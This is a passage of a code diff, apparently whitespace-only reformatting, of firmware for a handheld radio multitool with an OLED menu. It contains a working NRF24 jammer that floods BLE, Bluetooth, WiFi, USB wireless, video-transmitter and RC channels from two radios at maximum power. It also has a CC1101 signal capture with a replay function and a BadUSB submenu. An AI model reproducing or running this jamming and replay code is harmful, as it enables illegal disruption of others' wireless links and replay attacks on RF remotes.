| 192 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 193 | + | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 194 | + | u8g2.drawStr(0, 28, "Waiting RF..."); | |
| 195 | + | u8g2.drawStr(0, 60, "BACK = Exit"); | |
| 196 | + | u8g2.sendBuffer(); | |
| 197 | 197 | ||
| 198 | − | unsigned long lastSignal = millis(); | |
| 199 | − | int lastPulseCount = 0; | |
| 198 | + | unsigned long lastSignal = millis(); | |
| 199 | + | int lastPulseCount = 0; | |
| 200 | 200 | ||
| 201 | − | while (true) { | |
| 202 | − | // signal detected | |
| 203 | − | if (pulseIndex > lastPulseCount) { | |
| 204 | − | lastPulseCount = pulseIndex; | |
| 205 | − | lastSignal = millis(); | |
| 206 | − | } | |
| 201 | + | while (true) { | |
| 202 | + | // signal detected | |
| 203 | + | if (pulseIndex > lastPulseCount) { | |
| 204 | + | lastPulseCount = pulseIndex; | |
| 205 | + | lastSignal = millis(); | |
| 206 | + | } | |
| 207 | 207 | ||
| 208 | − | // update OLED | |
| 209 | − | u8g2.clearBuffer(); | |
| 210 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 208 | + | // update OLED | |
| 209 | + | u8g2.clearBuffer(); | |
| 210 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 211 | 211 | ||
| 212 | − | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 212 | + | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 213 | 213 | ||
| 214 | − | u8g2.setCursor(0, 28); | |
| 215 | − | u8g2.print("Pulses: "); | |
| 216 | − | u8g2.print(pulseIndex); | |
| 214 | + | u8g2.setCursor(0, 28); | |
| 215 | + | u8g2.print("Pulses: "); | |
| 216 | + | u8g2.print(pulseIndex); | |
| 217 | 217 | ||
| 218 | − | u8g2.setCursor(0, 42); | |
| 219 | − | u8g2.print("Freq: "); | |
| 220 | − | u8g2.print(currentFreq); | |
| 221 | − | u8g2.print(" MHz"); | |
| 218 | + | u8g2.setCursor(0, 42); | |
| 219 | + | u8g2.print("Freq: "); | |
| 220 | + | u8g2.print(currentFreq); | |
| 221 | + | u8g2.print(" MHz"); | |
| 222 | 222 | ||
| 223 | − | if (pulseIndex > 0) { | |
| 224 | − | u8g2.drawStr(0, 54, "Signal Detected"); | |
| 225 | − | } else { | |
| 226 | − | u8g2.drawStr(0, 54, "Waiting..."); | |
| 227 | − | } | |
| 223 | + | if (pulseIndex > 0) { | |
| 224 | + | u8g2.drawStr(0, 54, "Signal Detected"); | |
| 225 | + | } else { | |
| 226 | + | u8g2.drawStr(0, 54, "Waiting..."); | |
| 227 | + | } | |
| 228 | 228 | ||
| 229 | − | u8g2.sendBuffer(); | |
| 229 | + | u8g2.sendBuffer(); | |
| 230 | 230 | ||
| 231 | − | // auto print once capture stabilizes | |
| 232 | − | if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { | |
| 233 | − | stopCapture(); | |
| 231 | + | // auto print once capture stabilizes | |
| 232 | + | if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { | |
| 233 | + | stopCapture(); | |
| 234 | 234 | ||
| 235 | − | Serial.println(); | |
| 236 | − | Serial.println("===== RF CAPTURE ====="); | |
| 235 | + | Serial.println(); | |
| 236 | + | Serial.println("===== RF CAPTURE ====="); | |
| 237 | 237 | ||
| 238 | − | for (int i = 0; i < pulseIndex; i++) { | |
| 239 | − | Serial.print(captureBuffer[i]); | |
| 240 | − | Serial.print(", "); | |
| 241 | − | } | |
| 238 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 239 | + | Serial.print(captureBuffer[i]); | |
| 240 | + | Serial.print(", "); | |
| 241 | + | } | |
| 242 | 242 | ||
| 243 | − | Serial.println(); | |
| 243 | + | Serial.println(); | |
| 244 | 244 | ||
| 245 | − | u8g2.clearBuffer(); | |
| 246 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 247 | − | u8g2.drawStr(0, 15, "Capture Complete"); | |
| 245 | + | u8g2.clearBuffer(); | |
| 246 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 247 | + | u8g2.drawStr(0, 15, "Capture Complete"); | |
| 248 | 248 | ||
| 249 | − | u8g2.setCursor(0, 35); | |
| 249 | + | u8g2.setCursor(0, 35); | |
| 250 | + | } | |
| 250 | 251 | } | |
| 251 | − | } | |
| 252 | 252 | } | |
| 253 | 253 | ||
| 254 | 254 | void handleMenu() { | |
| 255 | − | if (!isCC1101Ready()) { | |
| 256 | − | if (!initCC1101()) { | |
| 257 | − | u8g2.clearBuffer(); | |
| 258 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 259 | − | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 260 | − | u8g2.sendBuffer(); | |
| 261 | − | delay(1500); | |
| 262 | − | return; | |
| 255 | + | if (!isCC1101Ready()) { | |
| 256 | + | if (!initCC1101()) { | |
| 257 | + | u8g2.clearBuffer(); | |
| 258 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 259 | + | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 260 | + | u8g2.sendBuffer(); | |
| 261 | + | delay(1500); | |
| 262 | + | return; | |
| 263 | + | } | |
| 263 | 264 | } | |
| 264 | − | } | |
| 265 | 265 | ||
| 266 | − | pulseIndex = 0; | |
| 266 | + | pulseIndex = 0; | |
| 267 | 267 | ||
| 268 | − | startCapture(); | |
| 268 | + | startCapture(); | |
| 269 | 269 | ||
| 270 | − | // ===== CAPTURE FOR 5 SEC ===== | |
| 271 | − | unsigned long start = millis(); | |
| 270 | + | // ===== CAPTURE FOR 5 SEC ===== | |
| 271 | + | unsigned long start = millis(); | |
| 272 | 272 | ||
| 273 | − | while (millis() - start < 5000) { | |
| 274 | − | noInterrupts(); | |
| 275 | − | int count = pulseIndex; | |
| 276 | − | interrupts(); | |
| 273 | + | while (millis() - start < 5000) { | |
| 274 | + | noInterrupts(); | |
| 275 | + | int count = pulseIndex; | |
| 276 | + | interrupts(); | |
| 277 | 277 | ||
| 278 | − | u8g2.clearBuffer(); | |
| 279 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 278 | + | u8g2.clearBuffer(); | |
| 279 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 280 | 280 | ||
| 281 | − | u8g2.drawStr(0, 12, "RF Capturing..."); | |
| 281 | + | u8g2.drawStr(0, 12, "RF Capturing..."); | |
| 282 | 282 | ||
| 283 | − | u8g2.setCursor(0, 30); | |
| 284 | − | u8g2.print("Pulses: "); | |
| 285 | − | u8g2.print(count); | |
| 283 | + | u8g2.setCursor(0, 30); | |
| 284 | + | u8g2.print("Pulses: "); | |
| 285 | + | u8g2.print(count); | |
| 286 | 286 | ||
| 287 | − | u8g2.sendBuffer(); | |
| 287 | + | u8g2.sendBuffer(); | |
| 288 | 288 | ||
| 289 | − | delay(50); | |
| 290 | − | } | |
| 289 | + | delay(50); | |
| 290 | + | } | |
| 291 | 291 | ||
| 292 | − | stopCapture(); | |
| 292 | + | stopCapture(); | |
| 293 | 293 | ||
| 294 | − | // ===== DISPLAY CAPTURE BUFFER ===== | |
| 295 | − | int scroll = 0; | |
| 294 | + | // ===== DISPLAY CAPTURE BUFFER ===== | |
| 295 | + | int scroll = 0; | |
| 296 | 296 | ||
| 297 | − | while (1) { | |
| 298 | − | noInterrupts(); | |
| 299 | − | int count = pulseIndex; | |
| 300 | − | interrupts(); | |
| 297 | + | while (1) { | |
| 298 | + | noInterrupts(); | |
| 299 | + | int count = pulseIndex; | |
| 300 | + | interrupts(); | |
| 301 | 301 | ||
| 302 | − | u8g2.clearBuffer(); | |
| 303 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 302 | + | u8g2.clearBuffer(); | |
| 303 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 304 | 304 | ||
| 305 | − | u8g2.drawStr(0, 8, "Captured Buffer"); | |
| 305 | + | u8g2.drawStr(0, 8, "Captured Buffer"); | |
| 306 | 306 | ||
| 307 | − | // display 6 lines | |
| 308 | − | for (int i = 0; i < 6; i++) { | |
| 309 | − | int idx = scroll + i; | |
| 307 | + | // display 6 lines | |
| 308 | + | for (int i = 0; i < 6; i++) { | |
| 309 | + | int idx = scroll + i; | |
| 310 | 310 | ||
| 311 | − | if (idx >= count) | |
| 312 | − | break; | |
| 311 | + | if (idx >= count) | |
| 312 | + | break; | |
| 313 | 313 | ||
| 314 | − | noInterrupts(); | |
| 315 | − | unsigned long val = captureBuffer[idx]; | |
| 316 | − | interrupts(); | |
| 314 | + | noInterrupts(); | |
| 315 | + | unsigned long val = captureBuffer[idx]; | |
| 316 | + | interrupts(); | |
| 317 | 317 | ||
| 318 | − | char buf[32]; | |
| 318 | + | char buf[32]; | |
| 319 | 319 | ||
| 320 | − | snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); | |
| 320 | + | snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); | |
| 321 | 321 | ||
| 322 | − | u8g2.drawStr(0, 20 + (i * 8), buf); | |
| 323 | − | } | |
| 322 | + | u8g2.drawStr(0, 20 + (i * 8), buf); | |
| 323 | + | } | |
| 324 | 324 | ||
| 325 | − | u8g2.sendBuffer(); | |
| 325 | + | u8g2.sendBuffer(); | |
| 326 | 326 | ||
| 327 | − | // scroll down | |
| 328 | − | if (btnDown()) { | |
| 329 | − | if (scroll < count - 1) | |
| 330 | − | scroll++; | |
| 327 | + | // scroll down | |
| 328 | + | if (btnDown()) { | |
| 329 | + | if (scroll < count - 1) | |
| 330 | + | scroll++; | |
| 331 | 331 | ||
| 332 | − | delay(120); | |
| 333 | − | } | |
| 332 | + | delay(120); | |
| 333 | + | } | |
| 334 | 334 | ||
| 335 | − | // scroll up | |
| 336 | − | if (btnUp()) { | |
| 337 | − | if (scroll > 0) | |
| 338 | − | scroll--; | |
| 335 | + | // scroll up | |
| 336 | + | if (btnUp()) { | |
| 337 | + | if (scroll > 0) | |
| 338 | + | scroll--; | |
| 339 | 339 | ||
| 340 | − | delay(120); | |
| 341 | − | } | |
| 340 | + | delay(120); | |
| 341 | + | } | |
| 342 | 342 | ||
| 343 | − | // replay | |
| 344 | − | if (btnSelect()) { | |
| 345 | − | replaySignal(); | |
| 346 | − | delay(300); | |
| 347 | − | } | |
| 343 | + | // replay | |
| 344 | + | if (btnSelect()) { | |
| 345 | + | replaySignal(); | |
| 346 | + | delay(300); | |
| 347 | + | } | |
| 348 | 348 | ||
| 349 | − | // exit | |
| 350 | − | if (btnBack()) { | |
| 351 | − | delay(150); | |
| 352 | − | return; | |
| 353 | − | } | |
| 349 | + | // exit | |
| 350 | + | if (btnBack()) { | |
| 351 | + | delay(150); | |
| 352 | + | return; | |
| 353 | + | } | |
| 354 | 354 | ||
| 355 | − | delay(20); | |
| 356 | − | } | |
| 355 | + | delay(20); | |
| 356 | + | } | |
| 357 | 357 | } | |
| @@ -21,19 +21,19 @@ const byte zigbee_channels[] = {11, 15, 20, 25}; | |||
| 21 | 21 | const byte rc_channels[] = {1, 3, 5, 7}; | |
| 22 | 22 | ||
| 23 | 23 | void initNRF(RF24 &radio) { | |
| 24 | − | if (!radio.begin(RADIO_SPI)) { | |
| 25 | − | Serial.println("NRF not found"); | |
| 26 | − | return; | |
| 27 | − | } | |
| 28 | − | ||
| 29 | − | radio.setAutoAck(false); | |
| 30 | − | radio.stopListening(); | |
| 31 | − | radio.setRetries(0, 0); | |
| 32 | − | radio.setPALevel(RF24_PA_MAX, true); | |
| 33 | − | radio.setDataRate(RF24_2MBPS); | |
| 34 | − | radio.openWritingPipe(0xE7E7E7E7E7LL); | |
| 35 | − | radio.setCRCLength(RF24_CRC_DISABLED); | |
| 36 | − | Serial.println("NRF Initialized"); | |
| 24 | + | if (!radio.begin(RADIO_SPI)) { | |
| 25 | + | Serial.println("NRF not found"); | |
| 26 | + | return; | |
| 27 | + | } | |
| 28 | + | ||
| 29 | + | radio.setAutoAck(false); | |
| 30 | + | radio.stopListening(); | |
| 31 | + | radio.setRetries(0, 0); | |
| 32 | + | radio.setPALevel(RF24_PA_MAX, true); | |
| 33 | + | radio.setDataRate(RF24_2MBPS); | |
| 34 | + | radio.openWritingPipe(0xE7E7E7E7E7LL); | |
| 35 | + | radio.setCRCLength(RF24_CRC_DISABLED); | |
| 36 | + | Serial.println("NRF Initialized"); | |
| 37 | 37 | } | |
| 38 | 38 | ||
| 39 | 39 | // void startBleJammer() { | |
| @@ -110,107 +110,108 @@ void initNRF(RF24 &radio) { | |||
| 110 | 110 | // } | |
| 111 | 111 | ||
| 112 | 112 | void startJammer(const char *name, const byte *channels, size_t channelCount) { | |
| 113 | − | initNRF(radio1); | |
| 114 | − | initNRF(radio2); | |
| 115 | − | ||
| 116 | − | Serial.println("NRF JAMMER STARTED"); | |
| 117 | − | ||
| 118 | − | const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 119 | − | ||
| 120 | − | u8g2.clearBuffer(); | |
| 121 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 122 | − | u8g2.drawStr(0, 15, "NRF24 Jammer"); | |
| 123 | − | u8g2.drawStr(0, 35, name); | |
| 124 | − | u8g2.drawStr(0, 55, "BACK = Exit"); | |
| 125 | − | u8g2.sendBuffer(); | |
| 126 | − | ||
| 127 | − | while (true) { | |
| 128 | − | for (size_t i = 0; i < channelCount; i++) { | |
| 129 | − | // radio1.setChannel(channels[i]); | |
| 130 | − | // radio1.write(&payload, sizeof(payload)); | |
| 131 | − | ||
| 132 | − | // Optional second NRF | |
| 133 | − | // radio2.setChannel(channels[i]); | |
| 134 | − | // radio2.write(&payload, sizeof(payload)); | |
| 135 | − | ||
| 136 | − | radio1.setChannel(channels[i]); | |
| 137 | − | radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 138 | − | ||
| 139 | − | radio1.writeFast(&payload, sizeof(payload)); | |
| 140 | − | radio2.writeFast(&payload, sizeof(payload)); | |
| 113 | + | initNRF(radio1); | |
| 114 | + | initNRF(radio2); | |
| 115 | + | ||
| 116 | + | Serial.println("NRF JAMMER STARTED"); | |
| 117 | + | ||
| 118 | + | const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 119 | + | ||
| 120 | + | u8g2.clearBuffer(); | |
| 121 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 122 | + | u8g2.drawStr(0, 15, "NRF24 Jammer"); | |
| 123 | + | u8g2.drawStr(0, 35, name); | |
| 124 | + | u8g2.drawStr(0, 55, "BACK = Exit"); | |
| 125 | + | u8g2.sendBuffer(); | |
| 126 | + | ||
| 127 | + | while (true) { | |
| 128 | + | for (size_t i = 0; i < channelCount; i++) { | |
| 129 | + | // radio1.setChannel(channels[i]); | |
| 130 | + | // radio1.write(&payload, sizeof(payload)); | |
| 131 | + | ||
| 132 | + | // Optional second NRF | |
| 133 | + | // radio2.setChannel(channels[i]); | |
| 134 | + | // radio2.write(&payload, sizeof(payload)); | |
| 135 | + | ||
| 136 | + | radio1.setChannel(channels[i]); | |
| 137 | + | radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 138 | + | ||
| 139 | + | radio1.writeFast(&payload, sizeof(payload)); | |
| 140 | + | radio2.writeFast(&payload, sizeof(payload)); | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | if (btnBack()) { | |
| 144 | + | Serial.println("Jammer stopped"); | |
| 145 | + | radio1.powerDown(); | |
| 146 | + | radio2.powerDown(); | |
| 147 | + | return; | |
| 148 | + | } | |
| 141 | 149 | } | |
| 142 | 150 | ||
| 143 | − | if (btnBack()) { | |
| 144 | − | Serial.println("Jammer stopped"); | |
| 145 | − | radio1.powerDown(); | |
| 146 | − | radio2.powerDown(); | |
| 147 | − | return; | |
| 148 | − | } | |
| 149 | − | } | |
| 150 | − | ||
| 151 | − | // while (true) { | |
| 152 | − | // for (size_t i = 0; i < channelCount; i++) | |
| 153 | − | //{ | |
| 154 | − | // radio1.setChannel(channels[i]); | |
| 155 | − | // radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 151 | + | // while (true) { | |
| 152 | + | // for (size_t i = 0; i < channelCount; i++) | |
| 153 | + | //{ | |
| 154 | + | // radio1.setChannel(channels[i]); | |
| 155 | + | // radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 156 | 156 | ||
| 157 | − | // radio1.writeFast(&payload, sizeof(payload)); | |
| 158 | − | // radio2.writeFast(&payload, sizeof(payload)); | |
| 157 | + | // radio1.writeFast(&payload, sizeof(payload)); | |
| 158 | + | // radio2.writeFast(&payload, sizeof(payload)); | |
| 159 | 159 | ||
| 160 | − | // radio1.txStandBy(1); | |
| 161 | − | // radio2.txStandBy(1); | |
| 160 | + | // radio1.txStandBy(1); | |
| 161 | + | // radio2.txStandBy(1); | |
| 162 | 162 | ||
| 163 | − | // delayMicroseconds(200); | |
| 164 | − | //} | |
| 163 | + | // delayMicroseconds(200); | |
| 164 | + | //} | |
| 165 | 165 | ||
| 166 | − | // if (btnBack()) | |
| 167 | − | //{ | |
| 168 | − | // Serial.println("Jammer stopped"); | |
| 166 | + | // if (btnBack()) | |
| 167 | + | //{ | |
| 168 | + | // Serial.println("Jammer stopped"); | |
| 169 | 169 | ||
| 170 | − | // radio1.powerDown(); | |
| 171 | − | // radio2.powerDown(); | |
| 170 | + | // radio1.powerDown(); | |
| 171 | + | // radio2.powerDown(); | |
| 172 | 172 | ||
| 173 | − | // return; | |
| 174 | − | //} | |
| 175 | − | //} | |
| 173 | + | // return; | |
| 174 | + | //} | |
| 175 | + | //} | |
| 176 | 176 | } | |
| 177 | 177 | ||
| 178 | 178 | void NRFToolsMenu(int index) { | |
| 179 | − | switch (index) { | |
| 180 | − | case 0: | |
| 181 | − | // startBleJammer(); | |
| 182 | − | // BLE | |
| 183 | − | startJammer("BLE", bleChannels, | |
| 184 | − | sizeof(bleChannels) / sizeof(bleChannels[0])); | |
| 185 | − | ||
| 186 | − | break; | |
| 187 | − | case 1: | |
| 188 | − | // startBluetoothJammer(); | |
| 189 | − | // Bluetooth | |
| 190 | − | startJammer("Bluetooth", bluetoothChannels, | |
| 191 | − | sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); | |
| 192 | − | break; | |
| 193 | − | ||
| 194 | − | case 2: | |
| 195 | − | startJammer("WiFi", wifiChannels, | |
| 196 | − | sizeof(wifiChannels) / sizeof(wifiChannels[0])); | |
| 197 | − | break; | |
| 198 | − | case 3: | |
| 199 | − | startJammer("USB Wireless", usbWireless_channels, | |
| 200 | − | sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); | |
| 201 | − | break; | |
| 202 | − | case 4: | |
| 203 | − | startJammer("Video TX", videoTransmitter_channels, | |
| 204 | − | sizeof(videoTransmitter_channels) / | |
| 205 | − | sizeof(videoTransmitter_channels[0])); | |
| 206 | − | break; | |
| 207 | − | case 5: | |
| 208 | − | break; | |
| 209 | − | startJammer("RC", rc_channels, | |
| 210 | − | sizeof(rc_channels) / sizeof(rc_channels[0])); | |
| 211 | − | break; | |
| 212 | − | case 6: | |
| 213 | − | ||
| 214 | − | break; | |
| 215 | − | } | |
| 179 | + | switch (index) { | |
| 180 | + | case 0: | |
| 181 | + | // startBleJammer(); | |
| 182 | + | // BLE | |
| 183 | + | startJammer("BLE", bleChannels, | |
| 184 | + | sizeof(bleChannels) / sizeof(bleChannels[0])); | |
| 185 | + | ||
| 186 | + | break; | |
| 187 | + | case 1: | |
| 188 | + | // startBluetoothJammer(); | |
| 189 | + | // Bluetooth | |
| 190 | + | startJammer("Bluetooth", bluetoothChannels, | |
| 191 | + | sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); | |
| 192 | + | break; | |
| 193 | + | ||
| 194 | + | case 2: | |
| 195 | + | startJammer("WiFi", wifiChannels, | |
| 196 | + | sizeof(wifiChannels) / sizeof(wifiChannels[0])); | |
| 197 | + | break; | |
| 198 | + | case 3: | |
| 199 | + | startJammer("USB Wireless", usbWireless_channels, | |
| 200 | + | sizeof(usbWireless_channels) / | |
| 201 | + | sizeof(usbWireless_channels[0])); | |
| 202 | + | break; | |
| 203 | + | case 4: | |
| 204 | + | startJammer("Video TX", videoTransmitter_channels, | |
| 205 | + | sizeof(videoTransmitter_channels) / | |
| 206 | + | sizeof(videoTransmitter_channels[0])); | |
| 207 | + | break; | |
| 208 | + | case 5: | |
| 209 | + | break; | |
| 210 | + | startJammer("RC", rc_channels, | |
| 211 | + | sizeof(rc_channels) / sizeof(rc_channels[0])); | |
| 212 | + | break; | |
| 213 | + | case 6: | |
| 214 | + | ||
| 215 | + | break; | |
| 216 | + | } | |
| 216 | 217 | } | |
| @@ -8,6 +8,6 @@ void initNRF(RF24 &radio); | |||
| 8 | 8 | void startBluetoothJammer(); | |
| 9 | 9 | void startBleJammer(); | |
| 10 | 10 | ||
| 11 | − | void startJammer(const char* name, const byte* channels, size_t channelCount); | |
| 11 | + | void startJammer(const char *name, const byte *channels, size_t channelCount); | |
| 12 | 12 | ||
| 13 | 13 | void NRFToolsMenu(int index); | |
| @@ -5,7 +5,7 @@ | |||
| 5 | 5 | U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); | |
| 6 | 6 | ||
| 7 | 7 | void displayInit() { | |
| 8 | − | Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); | |
| 9 | − | u8g2.begin(); | |
| 10 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 8 | + | Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); | |
| 9 | + | u8g2.begin(); | |
| 10 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 11 | 11 | } | |
| @@ -67,250 +67,250 @@ bool insideFeature = false; | |||
| 67 | 67 | // ================= DRAW ================= | |
| 68 | 68 | ||
| 69 | 69 | void drawMenu() { | |
| 70 | − | u8g2.clearBuffer(); | |
| 70 | + | u8g2.clearBuffer(); | |
| 71 | 71 | ||
| 72 | − | // scroll handling | |
| 73 | − | if (menuIndex < menuOffset) | |
| 74 | − | menuOffset = menuIndex; | |
| 72 | + | // scroll handling | |
| 73 | + | if (menuIndex < menuOffset) | |
| 74 | + | menuOffset = menuIndex; | |
| 75 | 75 | ||
| 76 | − | if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) | |
| 77 | − | menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; | |
| 76 | + | if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) | |
| 77 | + | menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; | |
| 78 | 78 | ||
| 79 | − | for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { | |
| 80 | − | int item = menuOffset + i; | |
| 79 | + | for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { | |
| 80 | + | int item = menuOffset + i; | |
| 81 | 81 | ||
| 82 | − | if (item >= currentMenu->size) | |
| 83 | − | break; | |
| 82 | + | if (item >= currentMenu->size) | |
| 83 | + | break; | |
| 84 | 84 | ||
| 85 | − | if (item == menuIndex) | |
| 86 | − | u8g2.drawStr(0, 14 + i * 14, ">"); | |
| 85 | + | if (item == menuIndex) | |
| 86 | + | u8g2.drawStr(0, 14 + i * 14, ">"); | |
| 87 | 87 | ||
| 88 | − | u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); | |
| 89 | − | } | |
| 88 | + | u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); | |
| 89 | + | } | |
| 90 | 90 | ||
| 91 | − | // scroll indicators | |
| 92 | − | if (menuOffset > 0) | |
| 93 | − | u8g2.drawStr(118, 10, "^"); | |
| 91 | + | // scroll indicators | |
| 92 | + | if (menuOffset > 0) | |
| 93 | + | u8g2.drawStr(118, 10, "^"); | |
| 94 | 94 | ||
| 95 | − | if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) | |
| 96 | − | u8g2.drawStr(118, 62, "v"); | |
| 95 | + | if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) | |
| 96 | + | u8g2.drawStr(118, 62, "v"); | |
| 97 | 97 | ||
| 98 | − | u8g2.sendBuffer(); | |
| 98 | + | u8g2.sendBuffer(); | |
| 99 | 99 | } | |
| 100 | 100 | ||
| 101 | 101 | // ================= FEATURE EXECUTION ================= | |
| 102 | 102 | ||
| 103 | 103 | void launchFeature() { | |
| 104 | − | insideFeature = true; | |
| 105 | − | ||
| 106 | − | if (currentMenu == &mainMenu) { | |
| 107 | − | switch (menuIndex) { | |
| 108 | − | case 0: // BadUSB → enter submenu | |
| 109 | − | currentMenu = &badusbMenu; | |
| 110 | − | menuIndex = 0; | |
| 111 | − | menuOffset = 0; | |
| 112 | − | break; | |
| 113 | − | ||
| 114 | − | case 1: | |
| 115 | − | handleMenu(); | |
| 116 | − | break; | |
| 117 | − | case 2: | |
| 118 | − | // startNRFJammer(); | |
| 119 | − | // startBleJammer(); | |
| 120 | − | // startBluetoothJammer(); | |
| 121 | − | currentMenu = &nrfToolsMenu; | |
| 122 | − | menuIndex = 0; | |
| 123 | − | menuOffset = 0; | |
| 124 | − | break; | |
| 125 | − | ||
| 126 | − | break; | |
| 127 | − | case 3: | |
| 128 | − | ble_scan(); | |
| 129 | − | ble_drawMenu(); | |
| 130 | − | while (1) { | |
| 131 | − | ble_loop(); | |
| 132 | − | if (btnBack()) | |
| 133 | − | break; | |
| 134 | − | } | |
| 135 | − | break; | |
| 136 | − | ||
| 137 | − | case 4: { | |
| 138 | − | // Start scan once | |
| 139 | − | wifi_scan_start(); | |
| 140 | − | wifi_scan_draw(); | |
| 141 | − | ||
| 142 | − | while (1) { | |
| 143 | − | wifi_scan_loop(); | |
| 144 | − | // EXIT condition handled ONLY here | |
| 145 | − | if (btnBack()) { | |
| 146 | − | delay(150); // debounce | |
| 147 | − | break; | |
| 148 | − | } | |
| 149 | − | } | |
| 150 | − | break; | |
| 151 | − | } | |
| 152 | − | case 5: { | |
| 153 | − | ||
| 154 | − | wifi_analyzer_start(); | |
| 155 | − | ||
| 156 | − | bool prevBack = false; | |
| 157 | − | while (1) { | |
| 158 | − | wifi_analyzer_loop(); | |
| 159 | − | bool nowBack = btnBack(); | |
| 160 | − | if (nowBack && !prevBack) { | |
| 161 | − | delay(150); | |
| 162 | − | break; | |
| 163 | − | } | |
| 164 | − | prevBack = nowBack; | |
| 165 | − | } | |
| 166 | − | break; | |
| 167 | − | } | |
| 168 | − | ||
| 169 | − | case 6: | |
| 170 | − | runSystemInfoFeature(); | |
| 171 | − | break; | |
| 172 | − | case 7: | |
| 173 | − | device_check_run(); | |
| 174 | − | break; | |
| 175 | − | case 8: { | |
| 176 | − | // wait for button release | |
| 177 | − | delay(200); | |
| 178 | − | ||
| 179 | − | while (btnSelect()) | |
| 180 | − | delay(10); | |
| 181 | − | bool confirm = false; | |
| 182 | − | ||
| 183 | − | while (1) { | |
| 184 | − | u8g2.clearBuffer(); | |
| 185 | − | u8g2.setFont(u8g2_font_6x13_tr); | |
| 186 | − | ||
| 187 | − | u8g2.drawStr(18, 18, "Restart Device?"); | |
| 188 | − | ||
| 189 | − | if (confirm) { | |
| 190 | − | u8g2.drawBox(10, 35, 45, 15); | |
| 191 | − | u8g2.setDrawColor(0); | |
| 192 | − | u8g2.drawStr(20, 47, "YES"); | |
| 193 | − | u8g2.setDrawColor(1); | |
| 194 | − | ||
| 195 | − | u8g2.drawStr(75, 47, "NO"); | |
| 196 | − | } else { | |
| 197 | − | u8g2.drawStr(20, 47, "YES"); | |
| 198 | − | ||
| 199 | − | u8g2.drawBox(65, 35, 45, 15); | |
| 200 | − | u8g2.setDrawColor(0); | |
| 201 | − | u8g2.drawStr(78, 47, "NO"); | |
| 202 | − | u8g2.setDrawColor(1); | |
| 203 | − | } | |
| 104 | + | insideFeature = true; | |
| 105 | + | ||
| 106 | + | if (currentMenu == &mainMenu) { | |
| 107 | + | switch (menuIndex) { | |
| 108 | + | case 0: // BadUSB → enter submenu | |
| 109 | + | currentMenu = &badusbMenu; | |
| 110 | + | menuIndex = 0; | |
| 111 | + | menuOffset = 0; | |
| 112 | + | break; | |
| 204 | 113 | ||
| 205 | − | u8g2.sendBuffer(); | |
| 114 | + | case 1: | |
| 115 | + | handleMenu(); | |
| 116 | + | break; | |
| 117 | + | case 2: | |
| 118 | + | // startNRFJammer(); | |
| 119 | + | // startBleJammer(); | |
| 120 | + | // startBluetoothJammer(); | |
| 121 | + | currentMenu = &nrfToolsMenu; | |
| 122 | + | menuIndex = 0; | |
| 123 | + | menuOffset = 0; | |
| 124 | + | break; | |
| 206 | 125 | ||
| 207 | − | if (btnLeft() || btnUp()) { | |
| 208 | − | confirm = true; | |
| 209 | − | delay(150); | |
| 210 | − | } | |
| 126 | + | break; | |
| 127 | + | case 3: | |
| 128 | + | ble_scan(); | |
| 129 | + | ble_drawMenu(); | |
| 130 | + | while (1) { | |
| 131 | + | ble_loop(); | |
| 132 | + | if (btnBack()) | |
| 133 | + | break; | |
| 134 | + | } | |
| 135 | + | break; | |
| 211 | 136 | ||
| 212 | − | if (btnRight() || btnDown()) { | |
| 213 | − | confirm = false; | |
| 214 | − | delay(150); | |
| 137 | + | case 4: { | |
| 138 | + | // Start scan once | |
| 139 | + | wifi_scan_start(); | |
| 140 | + | wifi_scan_draw(); | |
| 141 | + | ||
| 142 | + | while (1) { | |
| 143 | + | wifi_scan_loop(); | |
| 144 | + | // EXIT condition handled ONLY here | |
| 145 | + | if (btnBack()) { | |
| 146 | + | delay(150); // debounce | |
| 147 | + | break; | |
| 148 | + | } | |
| 149 | + | } | |
| 150 | + | break; | |
| 215 | 151 | } | |
| 216 | − | ||
| 217 | − | if (btnSelect()) { | |
| 218 | − | delay(150); | |
| 219 | − | ||
